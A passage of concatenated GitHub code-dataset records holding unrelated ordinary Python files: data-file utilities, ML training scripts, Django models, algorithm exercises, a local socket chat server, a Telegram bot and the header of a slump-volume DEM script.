msg)\n\n # make a read to a pre-allocated arr for each reader in readers\n arr = np.zeros((*readers[0].shape[:-1], samples * len(readers)))\n for idx, reader in enumerate(readers):\n start, stop = idx * samples, (idx + 1) * samples\n arr[..., start:stop] = reader.read(0, samples)\n reader.close()\n\n # create a header and increase the num_records to match combined size\n header = copy.deepcopy(readers[0].header)\n header['num_records'] = arr.shape[-1] // header.samples_per_record[0]\n\n # make a new path for the combined file\n fp = reader.path.with_stem(readers[0].path.stem + '_COMBINED')\n with edf.Writer(fp) as writer:\n writer.write(header, arr, reader.channels, verbose=verbose)\n\n # move each short file to a short files subdirectory\n move_files(dirpath.joinpath('short_files'), short_files)\n\n\nif __name__ == '__main__':\n\n dirpath = Path('/media/matt/DataD/Xue/EbbData/6_week_post')\n combine_edf(dirpath, fs=5000)\n","repo_name":"mscaudill/ebb","sub_path":"scripts/file_combine.py","file_name":"file_combine.py","file_ext":"py","file_size_in_byte":5627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3603560842","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[3]:\n\n\nfrom fastNLP.io import Conll2003NERPipe\nfrom fastNLP.embeddings import get_embeddings, BertEmbedding\nfrom fastNLP.models import BiLSTMCRF\nfrom fastNLP import Trainer, LossInForward, SpanFPreRecMetric\nimport torch\ndevice = 0 if torch.cuda.is_available() else 'cpu'\ndata_paths={'train': './data/train.conll', 'dev': './data/dev.conll', 'test': './data/test.conll'}\ndata_bundle = Conll2003NERPipe().process_from_file(data_paths)\ndata_bundle.rename_field('chars', 'words') # 这是由于BiLSTMCRF模型的forward函数接受的words,而不是chars,所以需要把这一列重新命名\nvocab = data_bundle.get_vocab('words')\nembed = BertEmbedding(vocab=vocab, model_dir_or_name='en', auto_truncate=True)\nmodel = BiLSTMCRF(embed=embed, num_classes=len(data_bundle.get_vocab('target')), num_layers=1, hidden_size=200, dropout=0.5,\n target_vocab=data_bundle.get_vocab('target'))\noptimizer = torch.optim.Adam(model.parameters(), lr=2.0e-5)\nloss = LossInForward()\nmetric = SpanFPreRecMetric(tag_vocab=data_bundle.get_vocab('target'))\ntrainer = Trainer(train_data=data_bundle.get_dataset('train'), dev_data=data_bundle.get_dataset('dev'),\n batch_size=32, model=model, loss=loss, optimizer=optimizer, metrics=metric, device=device )\ntrainer.train()\ntester = Tester(data_bundle.get_dataset('test'), model, metrics=metric)\ntester.test()\n\n\n# In[6]:\n\n\ntorch.cuda.empty_cache()\n\n\n# ## Reference\n# \n# https://github.com/fastnlp/fastNLP/blob/master/docs/source/_static/notebooks/tutorial_4_load_dataset.ipynb\n# https://blog.csdn.net/weixin_43909659/article/details/120210053\n# https://github.com/fastnlp/fastNLP/blob/master/docs/source/tutorials/%E5%BA%8F%E5%88%97%E6%A0%87%E6%B3%A8.rst\n","repo_name":"bug-orz/NLP-beginner","sub_path":"Task 4/Task4.py","file_name":"Task4.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27021226875","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\nSTATUS = ((0, \"Draft\"), (1, \"Publish\"))\nclass Category(models.Model):\n user=models.ForeignKey(User,on_delete=models.CASCADE)\n id = models.AutoField(primary_key=True)\n name = models.CharField(max_length=200,null=True)\n slug = models.SlugField(max_length=200,null=True)\n \n \n def __str__(self):\n return self.name\n\n\nclass Post(models.Model):\n user=models.ForeignKey(User,on_delete=models.CASCADE,related_name=\"blog_posts\")\n\n title = models.CharField(max_length=200, unique=True)\n slug = models.SlugField(max_length=200, unique=True ,null=True)\n # author = models.ForeignKey(\n # User, on_delete=models.CASCADE, related_name=\"blog_posts\"\n # )\n category = models.ForeignKey('Category',on_delete=models.CASCADE, null=True, blank=True)\n updated_on = models.DateTimeField(auto_now=True)\n content = models.TextField()\n created_on = models.DateTimeField(auto_now_add=True)\n status = models.IntegerField(choices=STATUS, default=0)\n productivity = models.IntegerField()\n\n\n def date_for_chart(self):\n return self.created_on.strftime('%b %e')\n\n class Meta:\n ordering = [\"-created_on\"]\n\n def __str__(self):\n return self.title\n\n def get_absolute_url(self):\n from django.urls import reverse\n\n return reverse(\"post_detail\", kwargs={\"slug\": str(self.slug)})\n\n\nclass Comment(models.Model):\n post = models.ForeignKey(Post, on_delete=models.CASCADE, related_name=\"comments\")\n name = models.CharField(max_length=80)\n email = models.EmailField()\n body = models.TextField()\n created_on = models.DateTimeField(auto_now_add=True)\n active = models.BooleanField(default=False)\n\n class Meta:\n ordering = [\"created_on\"]\n\n def __str__(self):\n return \"Comment {} by {}\".format(self.body, self.name)\n\nclass Contact(models.Model):\n name = models.CharField(max_length=80)\n email = models.EmailField()\n Content = models.TextField(null=True)\n phone= models.CharField(max_length=13,null=True)\n created_on = models.DateTimeField(auto_now_add=True)\n\n class Meta:\n ordering = [\"created_on\"]\n\n def __str__(self):\n return \"Contact {} by {}\".format(self.body, self.name)\n\n \n\n# class DiaryModel(models.Model):\n# user=models.ForeignKey(User,on_delete=models.CASCADE)\n# note = models.CharField(max_length=100)\n# content = models.TextField()\n# posted_date = models.DateTimeField()\n# productivity = models.IntegerField()\n\n# def date_for_chart(self):\n# return self.posted_date.strftime('%b %e')\n\n# def __str__(self):\n# return self.note\n\n# def summary(self):\n# if len(self.content) > 100:\n# return self.content[:100] + ' ...'\n# return self.content[:100]\n","repo_name":"DeepakDarkiee/diary","sub_path":"entry/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2855,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"13108285791","text":"# need to modify according to the current code\n\ndef crossoverFunction(pop, w):\n child = []*w\n for i in range(0, w, 2):\n data = pop[i]\n data2 = pop[i+1]\n child.append(data[:16]+data2[:7])\n child.append(data2[:16]+data[:7])\n return child\n","repo_name":"thegauravparmar/genetic-hilbert-embedding","sub_path":"crossover.py","file_name":"crossover.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42621801091","text":"from argparse import ArgumentParser\nimport torch\nimport torch.nn as nn\nfrom tqdm import tqdm\nimport os\nimport warnings\nimport utils\nwarnings.filterwarnings(\"ignore\")\n\n\nclass CycleGANTrainer(nn.Module):\n def __init__(self, my_model, my_logger, args):\n super().__init__()\n # save hyperparameters\n self.lr = args.learning_rate\n self.beta1 = args.beta1\n self.beta2 = args.beta2\n self.lambda_ = args.loss_lambda\n\n # logger\n self.logger = my_logger\n self.log_img_ever_n_epoch = args.log_img_ever_n_epoch\n\n # device\n self.device = args.device\n\n # save the model\n self.disc_x = my_model['discriminator_x']\n self.disc_y = my_model['discriminator_y']\n self.gen_y2x = my_model['generator_y2x']\n self.gen_x2y = my_model['generator_x2y']\n\n # optimizer\n disc_param = list(self.disc_x.parameters()) + list(self.disc_y.parameters())\n self.optimizer_disc = torch.optim.Adam(disc_param, self.lr, (self.beta1, self.beta2))\n gen_param = list(self.gen_y2x.parameters()) + list(self.gen_x2y.parameters())\n self.optimizer_gen = torch.optim.Adam(gen_param, self.lr, (self.beta1, self.beta2))\n\n def train_model(self, data_module, epoch):\n # set epoch\n self.epoch = epoch\n # Switch model to training mode.\n self.model_to_train()\n # allocate\n total_loss_disc = 0\n total_loss_gen = 0\n n_entries = 0\n\n # get dataloaders\n train_loader_apple, train_loader_windows = data_module.train_dataloader(shuffle=True)\n # progress bar\n pbar = tqdm(zip(train_loader_apple, train_loader_windows),\n desc='Training epoch {}'.format(epoch),\n leave=False,\n total=min(len(train_loader_windows), len(train_loader_apple)))\n\n # training loop\n for batch_idx, (batch_apple, batch_windows) in enumerate(pbar):\n \"\"\"\n apple: x\n windows: y\n \"\"\"\n\n # extract data from batch and put to device\n img_x = batch_apple[0].to(self.device)\n img_y = batch_windows[0].to(self.device)\n\n ##### DISCRIMINATOR ######\n # Reinitialize grad\n self.optimizer_disc.zero_grad()\n # loss disc real\n loss_disc_real_x = ((self.disc_x(img_x).squeeze() - 1) ** 2).mean()\n loss_disc_real_y = ((self.disc_y(img_y).squeeze() - 1) ** 2).mean()\n # loss disc fake\n loss_disc_fake_x = (self.disc_x(self.gen_y2x(img_y)) ** 2).mean()\n loss_disc_fake_y = (self.disc_y(self.gen_x2y(img_x)) ** 2).mean()\n # total discriminator loss\n loss_disc = 0.5 * (loss_disc_real_x + loss_disc_real_y + loss_disc_fake_x + loss_disc_fake_y)\n # Backward pass\n loss_disc.backward()\n # Optimize\n self.optimizer_disc.step()\n\n ##### Generator ######\n # Reinitialize grad\n self.optimizer_gen.zero_grad()\n # loss gan\n loss_gan_x = ((self.disc_x(self.gen_y2x(img_y)) - 1) ** 2).mean()\n loss_gan_y = ((self.disc_y(self.gen_x2y(img_x)) - 1) ** 2).mean()\n # loss cycle consistency\n loss_cycle_x = torch.abs_(self.gen_y2x(self.gen_x2y(img_x)) - img_x).mean()\n loss_cycle_y = torch.abs_(self.gen_x2y(self.gen_y2x(img_y)) - img_y).mean()\n # total generator loss\n loss_gen = loss_gan_x + loss_gan_y + self.lambda_ * (loss_cycle_x + loss_cycle_y)\n # Backward pass\n loss_gen.backward()\n # Optimize\n self.optimizer_gen.step()\n\n # Update progress bar\n bs = img_x.size(0)\n n_entries += bs\n total_loss_disc += loss_disc.detach().cpu().numpy()\n total_loss_gen += loss_gen.detach().cpu().numpy()\n pbar.set_postfix({\n 'disc_loss': total_loss_disc / n_entries,\n 'gen_loss': total_loss_gen / n_entries\n })\n\n if epoch % self.log_img_ever_n_epoch == 0 or epoch == 1:\n self.model_to_test()\n # Fixed test image to for sample visualization\n test_loader_apple, test_loader_windows = data_module.test_dataloader()\n test_x = next(iter(test_loader_apple))[0].to(self.device)\n test_y = next(iter(test_loader_windows))[0].to(self.device)\n # gen and save images\n folder_name = 'samples_during_training'\n img_names = ['epoch{}-app.png'.format(epoch), 'epoch{}-win.png'.format(epoch)]\n self.test_model_one(test_x, test_y, img_names, folder_name)\n self.model_to_train()\n\n # log losses\n mean_gen_loss = total_loss_gen / n_entries\n mean_disc_loss = total_loss_disc / n_entries\n self.logger.log('loss/gen_loss', mean_gen_loss, epoch)\n self.logger.log('loss/disc_loss', mean_disc_loss, epoch)\n\n return mean_disc_loss, mean_gen_loss\n\n def test_model_one(self, test_app, test_win, img_names, folder_name):\n # generate fake test images\n with torch.no_grad():\n test_app_fake = self.gen_x2y(test_app)\n test_win_fake = self.gen_y2x(test_win)\n # saves test image style transfer after each epoch\n self.logger.save_samples(test_app, test_app_fake, img_names[0], folder_name + '/apple')\n self.logger.save_samples(test_win, test_win_fake, img_names[1], folder_name + '/windows')\n\n def test_model(self, data_module):\n self.model_to_test()\n # get dataloaders\n test_loader_apple, test_loader_windows = data_module.test_dataloader(shuffle=True)\n # progress bar\n pbar = tqdm(zip(test_loader_apple, test_loader_windows),\n desc='Testing',\n leave=False,\n total=min(len(test_loader_windows), len(test_loader_apple)))\n # test\n for batch_idx, (batch_apple, batch_windows) in enumerate(pbar):\n # extract data from batch and put to device\n img_app = batch_apple[0].to(self.device)\n img_win = batch_windows[0].to(self.device)\n\n # generate and save images\n folder_name = 'samples_after_training'\n img_names = ['testbatch{}-app.png'.format(batch_idx), 'testbatch{}-win.png'.format(batch_idx)]\n self.test_model_one(img_app, img_win, img_names, folder_name)\n\n pass\n\n def model_to_train(self):\n self.disc_x.train()\n self.disc_y.train()\n self.gen_y2x.train()\n self.gen_x2y.train()\n\n def model_to_test(self):\n self.disc_x.eval()\n self.disc_y.eval()\n self.gen_y2x.eval()\n self.gen_x2y.eval()\n\n def save_model(self, location, name):\n model = {\n 'disc_y': [self.disc_y.state_dict()],\n 'disc_x': [self.disc_x.state_dict()],\n 'gen_y2x': [self.gen_y2x.state_dict()],\n 'gen_x2y': [self.gen_x2y.state_dict()],\n }\n torch.save({'epoch': self.epoch,\n 'model': model,\n },\n os.path.join(location, name))\n\n @staticmethod\n def add_model_specific_args(parent_parser):\n parser = ArgumentParser(parents=[parent_parser], add_help=False)\n parser.add_argument('--max_epochs', type=int, default=10,\n help='maximum number of epochs (default: 10)')\n parser.add_argument('--learning_rate', type=float, default=3e-4, # TODO\n help='learning rate (default: 3e-4)')\n parser.add_argument('--beta1', type=float, default=0.5, # TODO\n help='beta 1 for adam (default: 0.5)')\n parser.add_argument('--beta2', type=float, default=0.999, # TODO\n help='beta 2 for adam (default: 0.999)')\n parser.add_argument('--loss_lambda', type=float, default=10, # TODO\n help='parameter for cycle consistency loss (default: 10)')\n parser.add_argument('--log_img_ever_n_epoch', type=int, default=10, # TODO\n help='log image ever n epoch (default: 10)')\n\n return parser\n","repo_name":"dgedon/CycleGAN-for-Emojis","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":8277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"37531874553","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pandas\nfrom pandas import compat\nfrom .dataframe import DataFrame\n\n\ndef concat(\n objs,\n axis=0,\n join=\"outer\",\n join_axes=None,\n ignore_index=False,\n keys=None,\n levels=None,\n names=None,\n verify_integrity=False,\n sort=None,\n copy=True,\n):\n if isinstance(\n objs, (pandas.Series, DataFrame, compat.string_types, pandas.DataFrame)\n ):\n raise TypeError(\n \"first argument must be an iterable of pandas \"\n \"objects, you passed an object of type \"\n '\"{name}\"'.format(name=type(objs).__name__)\n )\n objs = list(objs)\n if len(objs) == 0:\n raise ValueError(\"No objects to concatenate\")\n\n objs = [obj for obj in objs if obj is not None]\n\n if len(objs) == 0:\n raise ValueError(\"All objects passed were None\")\n try:\n type_check = next(\n obj\n for obj in objs\n if not isinstance(obj, (pandas.Series, pandas.DataFrame, DataFrame))\n )\n except StopIteration:\n type_check = None\n if type_check is not None:\n raise ValueError(\n 'cannot concatenate object of type \"{0}\"; only '\n \"pandas.Series, pandas.DataFrame, \"\n \"and modin.pandas.DataFrame objs are \"\n \"valid\",\n type(type_check),\n )\n all_series = all(isinstance(obj, pandas.Series) for obj in objs)\n if all_series:\n return DataFrame(\n pandas.concat(\n objs,\n axis,\n join,\n join_axes,\n ignore_index,\n keys,\n levels,\n names,\n verify_integrity,\n sort,\n copy,\n )\n )\n if isinstance(objs, dict):\n raise NotImplementedError(\n \"Obj as dicts not implemented. To contribute to \"\n \"Modin, please visit github.com/ray-project/ray.\"\n )\n axis = pandas.DataFrame()._get_axis_number(axis)\n\n if join not in [\"inner\", \"outer\"]:\n raise ValueError(\n \"Only can inner (intersect) or outer (union) join the\" \" other axis\"\n )\n # We have the weird Series and axis check because, when concatenating a\n # dataframe to a series on axis=0, pandas ignores the name of the series,\n # and this check aims to mirror that (possibly buggy) functionality\n objs = [\n obj\n if isinstance(obj, DataFrame)\n else DataFrame(obj.rename())\n if isinstance(obj, pandas.Series) and axis == 0\n else DataFrame(obj)\n for obj in objs\n ]\n df = objs[0]\n objs = [obj._query_compiler for obj in objs]\n if keys is not None:\n objs = [objs[i] for i in range(min(len(objs), len(keys)))]\n new_idx_labels = {\n keys[i]: objs[i].index if axis == 0 else objs[i].columns\n for i in range(len(objs))\n }\n print(new_idx_labels)\n tuples = [(k, o) for k, obj in new_idx_labels.items() for o in obj]\n new_idx = pandas.MultiIndex.from_tuples(tuples)\n else:\n new_idx = None\n new_query_compiler = df._query_compiler.concat(\n axis,\n objs[1:],\n join=join,\n join_axes=None,\n ignore_index=False,\n keys=None,\n levels=None,\n names=None,\n verify_integrity=False,\n copy=True,\n sort=False,\n )\n result_df = DataFrame(query_compiler=new_query_compiler)\n if new_idx is not None:\n if axis == 0:\n result_df.index = new_idx\n else:\n result_df.columns = new_idx\n return result_df\n","repo_name":"Schakirov/my_ray","sub_path":"ray/modin/modin/pandas/concat.py","file_name":"concat.py","file_ext":"py","file_size_in_byte":3732,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"74791078003","text":"#Ejemplo SQLITE3 Conceptos de Primary Key\r\n\r\nimport sqlite3\r\n\r\nConexion= sqlite3.connect(\"Sqlite3Ejemplo2.sqlite3\")\r\n\r\npuntero=Conexion.cursor()\r\n\r\npuntero.execute('''\r\n CREATE TABLE PRODUCTOS (\r\n cod_articulo INTEGER PRIMARY KEY AUTOINCREMENT,\r\n nombre_articulo VARCHAR(50),\r\n precio INTEGER,\r\n seccion VARCHAR(20)\r\n )\r\n''')\r\n\r\nproductos=[\r\n (\"pelota\",50000,\"jugeteria\"),\r\n (\"pantalon\",100000,\"confeccion\"),\r\n (\"camisa\",50000,\"confeccion\"),\r\n]\r\n\r\npuntero.executemany(\"INSERT INTO PRODUCTOS VALUES (NULL,?,?,?)\", productos)\r\n\r\nConexion.commit()\r\n\r\nConexion.close()","repo_name":"j0t4ku/CursoPython","sub_path":"Bases de Datos/BBDD2.py","file_name":"BBDD2.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42833625074","text":"import numpy as np\n\nimport random\nimport copy\nfrom collections import namedtuple, deque\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom ddpg import DDPGAgent\n\nBUFFER_SIZE = int(1e5) # Replay buffer size\nBATCH_SIZE = 128 # Minibatch size\nGAMMA = 0.99 # Discount factor\nTAU = 1e-3 # For soft update of target parameters\nUPDATE_EVERY = 1 # Update the network\nUPDATE_TIMES = 5 # Update the network\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nclass MultiAgent:\n def __init__(self, num_agents, state_size, action_size, random_seed):\n self.agents = [Agent(state_size, action_size, random_seed) for _ in range(num_agents)]\n\n # Replay memory\n self.memory = ReplayBuffer(action_size, BUFFER_SIZE, BATCH_SIZE, random_seed)\n\n # Initialize time step (for updating every UPDATE_EVERY steps)\n self.t_step = 0\n\n def reset(self):\n for agent in self.agents:\n agent.reset()\n\n def act(self, states):\n \"\"\"get actions from all agents\"\"\"\n actions = [agent.act(np.expand_dims(_states, axis=0)) for agent, _states in zip(self.agents, states)]\n return actions\n\n def step(self, states, actions, rewards, next_states, dones):\n # Save experience in replay memory\n for state, action, reward, next_state, done in zip(states, actions, rewards, next_states, dones):\n self.memory.add(state, action, reward, next_state, done)\n\n # Learn every UPDATE_EVERY time steps.\n self.t_step = (self.t_step + 1) % UPDATE_EVERY\n if self.t_step == 0:\n # Learn, if enough samples are available in memory\n if len(self.memory) > BATCH_SIZE:\n for _ in range(UPDATE_TIMES):\n for agent in self.agents:\n experiences = self.memory.sample()\n agent.learn(experiences, GAMMA, TAU)\n\n\nclass ReplayBuffer:\n \"\"\"Fixed-size buffer to store experience tuples.\"\"\"\n\n def __init__(self, action_size, buffer_size, batch_size, seed):\n \"\"\"Initialize a ReplayBuffer object.\n Params\n ======\n buffer_size (int): maximum size of buffer\n batch_size (int): size of each training batch\n \"\"\"\n self.action_size = action_size\n self.memory = deque(maxlen=buffer_size) # internal memory (deque)\n self.batch_size = batch_size\n self.experience = namedtuple(\"Experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n self.seed = random.seed(seed)\n\n def add(self, state, action, reward, next_state, done):\n \"\"\"Add a new experience to memory.\"\"\"\n e = self.experience(state, action, reward, next_state, done)\n self.memory.append(e)\n\n def sample(self):\n \"\"\"Randomly sample a batch of experiences from memory.\"\"\"\n experiences = random.sample(self.memory, k=self.batch_size)\n\n states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).float().to(device)\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)\n next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device)\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(device)\n\n return (states, actions, rewards, next_states, dones)\n\n def __len__(self):\n \"\"\"Return the current size of internal memory.\"\"\"\n return len(self.memory)\n","repo_name":"nalbert9/Deep_Reinforcement_Learning","sub_path":"P3_Collab-compet/multi_agent.py","file_name":"multi_agent.py","file_ext":"py","file_size_in_byte":3749,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"36855105450","text":"# bellmann_ford can be used for negative and positive edge weights whereas dijkstra can only be used for positive edge weights\n\nimport sys\ndef bellmann_ford(graph, source, destination):\n inf = sys.maxsize\n node_data = {}\n for i in graph:\n node_data[i]={'cost':inf,'predecessor':[]}\n node_data[source]['cost'] = 0\n\n for i in range(5):\n for vertex in graph:\n for neighbour in graph[vertex]:\n cost = node_data[vertex]['cost'] + graph[vertex][neighbour]\n if cost < node_data[neighbour]['cost']:\n node_data[neighbour]['cost'] = cost\n\n if node_data[neighbour]['cost'] == inf:\n node_data[neighbour]['predecessor'] = node_data[vertex]['predecessor'] + list(vertex)\n else:\n node_data[neighbour]['predecessor'].clear()\n node_data[neighbour]['predecessor'] = node_data[vertex]['predecessor'] + list(vertex)\n \n print(node_data[destination]['cost'])\n print(node_data[destination]['predecessor'])\n\n\n\ngraph = {'a':{'b':6,'c':4,'d':5},'b':{'e':-1},'c':{'b':-2,'e':3},'d':{'c':-2,'f':-1},'e':{'f':3},'f':{}}\nsource = 'a'\ndestination = 'e'\nbellmann_ford(graph,source,destination)\n\n# https://www.youtube.com/watch?v=90lJ2rS39_k","repo_name":"abhi57075/DSA-in-Python","sub_path":"bellmann_ford_algo.py","file_name":"bellmann_ford_algo.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4428371481","text":"# 백준 문제(2021.5.23)\n# 10768번) 2월 18일은 올해 CCC에 있어서 특별한 날이다.\n# 사용자로부터 정수인 월과 일을 입력받아 날짜가 2월 18일인지 전인지 후인지를 \n# 출력하는 프로그램이다.\n# 만약 날짜가 2월 18일 전이면, \"Before\"을 출력한다. \n# 만약 날짜가 2월 18일 후면, \"After\"을 출력한다. \n# 만약 2월 18일이라면 \"Special\" 을 출력한다.\n\nm = int(input())\nd = int(input())\n\nif(m==2) :\n if(d<18) :\n print(\"Before\")\n elif(d==18) :\n print(\"Special\")\n elif(d>18) :\n print(\"After\")\nelif(m < 2) :\n print(\"Before\")\nelse :\n print(\"After\") ","repo_name":"hyom72/baekjoon_study","sub_path":"Bronze4/10768.py","file_name":"10768.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22023448891","text":"\n# Ky file permban serverin i cili ndegjon per mesazhe dhe forwardon ato.\n# Ne kete faqe useri nuk ka akses dhe dergon mesazhe te enkriptuara.\n# Funksion kryesor eshte te ndegjoj soketa, te krijoj lidhje\n# dhe te shfaq vizualisht komunikim ne chat room.\n# Serveri perdor local adreses.\n\n\n# Thirr librarite per krijimin dhe manipulimin e soketave.\nfrom socket import *\n# Thirr librarite per krijimin dhe manipulimin e threadeve.\nfrom threading import *\n\n# Krijo nje array ku do te ruhet te dhenat e klienteve.\nklientSRV = set()\n\n# Krijo funksionin e cila perdor soketen dhe adresen per te shfaqur\n# mesazhet ne server (te cilat vijne te enkriptuara), dhe perderisa\n# te jete lidhja e ngritur, forwardon mesazhet ne chat app te secilit\n# end client dhe shfaq nje mesazh ne server kur shkyqet nje user nga\n# lidhja me server (apo mbyll dritaren).\ndef klientThreadi(klientSocket, adresaKlientit):\n # Perderisa te jete e ngritur lidhja...\n while True:\n # ... dhe dritarja te jete e hapur...\n try:\n # ... merr mesazhet nga perdoruasi neper soketa...\n msg = klientSocket.recv(1024).decode(\"utf-8\")\n # ... shfaqi ne server...\n print(msg)\n # ... dhe per secilin mesazh te lexuar...\n for klienti in klientSRV:\n # ... i cili nuk eshte ne sokete te perdoruesit...\n if klienti is not klientSocket:\n # ... forwardo mesazhin tek perdoruesi.\n klienti.send((msg).encode(\"utf-8\"))\n # Kur te mbyllet dritarja nga perdoruesi...\n except ConnectionResetError:\n # ... mbyll lidhjen e perdoruesit...\n klientSRV.remove(klientSocket)\n # ... shfaq ne server kush eshte larguar nga lidhja...\n print(adresaKlientit[0] + \":\" + str(adresaKlientit[1]) +\" u shkyq nga lidhja!\")\n # ... dhe mbyll unazen per kontrollimin e gjendjes se lidhjes.\n break\n # Mbyll soketen kur te mbyllet lidhja.\n klientSocket.close()\n\n# Krijo nje sokete.\nhosti = socket(AF_INET, SOCK_STREAM)\n# Vendos protokollin e soketave.\nhosti.setsockopt(SOL_SOCKET, SO_REUSEADDR,1)\n\n# Cakto host IP te serverit per komunikim.\nhostIp = \"127.0.0.1\"\n# Cakto portin e serverit.\nporti = 19191\n# Lidh/Bind IP adresen dhe portin e hostit.\nhosti.bind((hostIp, porti))\n# Fillo ndegjimin per kerkesa per lidhje ne host.\nhosti.listen()\n# Pas fillimit te ndegjimit, shfaq ne console\n# se ka filluar ndegjimi.\nprint (\"Duke pritur lidhje nga perdoruesit...\")\n\n# Perderisa programi ndegjon...\nwhile True:\n # ... prit lidhjen e rradhes...\n klientSocket, clientAddress = hosti.accept()\n # ... shto soketen ne array...\n klientSRV.add(klientSocket)\n # ... shfaqe ne console lidhjen e krijuar...\n print (\"Lidhja u ngrit me adresen: \", clientAddress[0] + \":\" + str(clientAddress[1]))\n # ... krijo nje thread me soketen e re...\n thread = Thread(target=klientThreadi, args=(klientSocket, clientAddress, ))\n # ... dhe fillo threadin per soketen e re.\n thread.start()\n","repo_name":"bajrams425/Siguri-Projekti","sub_path":"side.py","file_name":"side.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"sq","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21007963059","text":"import random\n\nnames = input(\"Give me everybody's name saperated by comma(,) : \")\nnames = names.split(\", \")\n\n# r is the length of the elements present in list names \nr = len(names)\n\n# generating random index value for list \nrandom_name_choice = random.randint(0,r-1)\n\nprint(f\"{names[random_name_choice]} is going to buy the meal today.\")\n\n# or we can also use {random.choice(names)} functiion which will automatically pick a random name from the list.","repo_name":"satyamsharma3524/100_Days_of_Code_Python","sub_path":"day_4/banker_roulette.py","file_name":"banker_roulette.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"5010877530","text":"from aiogram import Dispatcher, types\nfrom utils.parser import get_pictures\nfrom utils.parser_crypto import get_crypto_name\nfrom state.states import Crypto_Get_Price\nfrom aiogram.dispatcher import FSMContext\n\n\nasync def send_welcome(message: types.Message):\n await message.answer(\"\"\"Hi!, to display a random picture of a dog, enter /dog, to display information on cryptocurrency, enter the command /crypto.\"\"\")\n\n\nasync def send_cat(message: types.Message):\n await message.answer(get_pictures())\n\n\nasync def crypto_message_handler(message: types.Message):\n await Crypto_Get_Price.END.set()\n await message.answer('For which cryptocurrency to export cost information, select from the list or type \"exit\":')\n for row in get_crypto_name().keys():\n await message.answer(row)\n await Crypto_Get_Price.C1.set()\n\n\nasync def handle_c1_answer(message: types.Message, state: FSMContext):\n answer = message.text.lower()\n if answer in get_crypto_name():\n await message.answer(f'1 {answer} = {get_crypto_name()[answer]} USD 💲')\n await Crypto_Get_Price.C1.set()\n elif answer == \"exit\":\n await Crypto_Get_Price.END.set()\n else:\n await message.answer(\"Incorrect value, enter the name of the cryptocurrency from the list.\")\n await Crypto_Get_Price.C1.set()\n\n\nasync def handle_end_state(message: types.Message, state: FSMContext):\n await message.answer(\"Thx, to start the bot, type /start again.\")\n await state.finish()\n\n\ndef register_client_handlers(dp: Dispatcher):\n dp.register_message_handler(send_welcome, commands=['start', 's'])\n dp.register_message_handler(send_cat, commands=['dog', 'd'])\n dp.register_message_handler(crypto_message_handler, commands=['crypto'])\n dp.register_message_handler(handle_c1_answer, state=Crypto_Get_Price.C1)\n dp.register_message_handler(handle_end_state, state=Crypto_Get_Price.END)\n","repo_name":"KonstantinMazurow/Homework","sub_path":"Homework 17/handlers/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28330035610","text":"#-------------------------------------------------------------------------------\r\n# Name: DEM_PredisturbanceGeneration_AreaVolumeCalc_Batch_NN_Py3.py\r\n#\r\n# Purpose: Takes existing high-resolution DEMs and slump shapefiles (polygons) to model predisturbance elevations for the goal of obtaining DEMs of Difference and slump area/volume estimates.\r\n# If delineations reflect real disturbances the DOD metrics relate to slump structural estimates, such as volume and average depth-of-thaw.\r\n# If delineations reflect undisturbed locations the DOD metrics relate to the accuracy and precision to which undisturbed topography can be recreated using neighbouring elevation measurements and Natural Neighbour re-interpolation.\r\n# Script will work on multiple shapefile input files.\r\n#\r\n# Output Database file (DBF) created through ESRI ArcGIS Pro \"Zonal Statistics\" tool, with pixel counts and various DOD metrics (min, max, range, mean, standard deviation, median, 90th percentile distribution, and SUM.\r\n# The metric \"SUM\" represents slump volume if the inputs reflect real disturbances and should be a negative value when correct. SUM represents volumetric uncertainty if using synthetic data voids.\r\n# Outputs can be found in 06_FinalZonalStats and 07_FinalRMSEStats folders. The latter folder is irrelevant if working with real disturbances. If the input vector data concerns multiple shapefiles a DBF file is produced for each shapefile, along with a merged BDF file combining all features.\r\n# Please refer to the following publication for more information: Van der Sluijs et al., Allometric scaling of retrogressive thaw slumps, Cryosphere Discussions (in review): 